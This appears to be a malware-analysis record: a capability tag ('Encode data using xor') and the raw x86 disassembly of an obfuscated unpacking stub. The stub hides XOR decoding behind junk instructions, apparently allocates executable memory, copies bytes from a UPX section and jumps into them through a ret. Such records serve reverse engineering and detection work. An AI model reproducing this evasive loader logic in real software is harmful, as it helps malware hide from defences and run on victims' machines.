Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfe169cb7
sub edi, 0x6def2327
mov edi, esi
mov edi, esi
popal
sub edi, esi
and edi, esi
mov eax, 0
mov edi, esi
and edx, edx
sub ecx, 0xf826909c
mov ebx, edi
sub edx, 0xf5984fc7
and edx, ecx
mov ecx, edx
mov esi, ebx
mov edx, ecx
add ecx, 0xca97b298
add eax, 1
and edx, edx
not ecx
cmp eax, 0x1000e62
jne 0xa789c6
add ecx, 1
dec edx
inc edi
sub esi, edi
add edi, esi
mov edi, 0xa78796
add ecx, 1
add ebx, 1
not ecx
mov edx, 0xa7898a
add ebx, ecx
dec ecx
mov eax, dword [edi]
sub ebx, 0xa93875e0
mov ebx, 0xd9a3a995
mov ecx, 0x795ea1b
and eax, 0xff
sub esi, ebx
dec esi
xor dword [edx], eax
add esi, 0xdfd4f206
or ebx, ebx
sub ebx, 0xc0a13d4e
inc edx
and ecx, esi
add ebx, ecx
inc edi
not esi
mov ebx, ecx
mov esi, ecx
cmp edx, entry0
jl 0xa78a23
dec esi
or esi, ebx
mov esi, 0x5696c78a
sub esi, ebx
dec edx
mov ebx, edi
mov esi, 0x1bf757e0
mov ecx, 0xa7898e
and edx, edi
dec edi
mov ecx, dword [ecx]
add esi, edx
mov esi, 0x79f0dbfc
mov ecx, dword [ecx]
dec edi
and esi, esi
add ebx, 1
push ecx
and edx, edx
inc edx
mov ecx, 0xa7898a
sub edi, edx
add edi, 0x79ffaae6
mov ecx, dword [ecx]
and ebx, edx
mov edi, 0x3f389d8a
mov ecx, dword [ecx]
dec edi
inc esi
push 0xa78992
and edx, esi
not ebx
call ecx
mov edx, ebx
sub esi, 1
or edx, edi
mov ecx, dword [esp]
add esp, 4
add edx, edx
sub esi, edx
push 0xa7899f
sub edx, 0x21f8ca7d
sub edi, ebx
sub esp, 4
mov dword [esp], eax
mov ebx, 0x2e976cce
mov edx, ebx
call ecx
dec esi
sub edx, 0xc882011b
sub esp, 4
mov dword [esp], 0x40
or esi, edx
inc edi
mov edi, ebx
push 0x3000
or ebx, edx
sub edx, 0x5b210a5c
add edx, esi
sub esp, 4
mov dword [esp], 0x200004e4
mov edi, esi
or edi, edi
add esi, ebx
push 0
add ebx, 0xc4f99df5
sub esi, edx
call eax
not esi
and edx, ebx
add eax, 0x20000440
not edx
add ebx, esi
mov ecx, 0x82fc5db5
or esi, edi
add esi, ebx
mov dword [eax], ecx
sub edx, 0xba5268a7
or edi, ebx
and edi, edx
mov ecx, dword [eax]
mov ebx, 0xc5763dea
or edi, esi
sub esi, 0x1df1459a
cmp ecx, 0x82fc5db5
je 0xa78b72
mov ebx, 0
mov ecx, dword [ebx]
sub esi, 0xba470bba
and esi, edi
mov edi, 0xcca9faae
inc edi
sub ebx, esi
add esi, 0xdb428d92
sub edi, esi
add edi, 0xf46e6bc1
mov ecx, section.UPX1
not edi
or esi, edi
mov ebx, 0xa78795
not edi
mov edi, esi
mov edx, 0
or esi, esi
or edi, esi
mov eax, 0xa78796
sub edi, 0x6c43719c
sub edi, esi
lea eax, [eax + edx]
mov esi, edi
add esi, 0xe4fb225d
mov edi, 0xaa110e89
mov eax, dword [eax]
mov edi, 0xfe0a56db
not edi
or esi, edi
and eax, 0xff
or edi, esi
and esi, edi
inc edx
and edi, edi
or esi, esi
cmp edx, 0x1f4
jne 0xa78bef
mov edx, 0
dec edi
add esi, edi
add esi, 0x20fcfeab
inc edi
sub edi, 0x6cdf8940
xor dword [ecx], eax
or esi, edi
mov esi, 0x671e7fdd
add ecx, 2
mov esi, 0x1f6974ea
not edi
cmp ecx, ebx
jl 0xa78bab
or edi, edi
add edi, edi
sub edi, 0xefe11e8f
sub esi, 0xff7f3105
dec esi
mov ebx, section.UPX1
add edx, edx
mov edi, 0x4212ba03
or edi, edi
mov eax, section.UPX1
sub edx, 1
add edi, edx
mov esi, 0xa78795
dec edi
sub edx, 0xfbf78ccd
not edi
mov ecx, 0
or edi, edx
and edi, edi
mov edx, 0x2fd418b3
mov cl, byte [eax]
add edi, 0x852fa6f1
mov edi, edx
add edi, edx
mov byte [ebx], cl
and edx, edx
sub edi, edx
sub edx, 0x824faf50
inc ebx
add edx, 1
and edx, edx
sub edi, edx
add eax, 2
sub edx, 0x28a99b5f
or edx, edx
and edi, edi
cmp eax, esi
jle 0xa78c65
sub edi, 0x8d837088
and edx, edi
inc edi
and esi, esi
sub edi, 0x48b083b9
sub esp, 4
mov dword [esp], 0x8dc6a0
or esi, esi
mov esi, edi
ret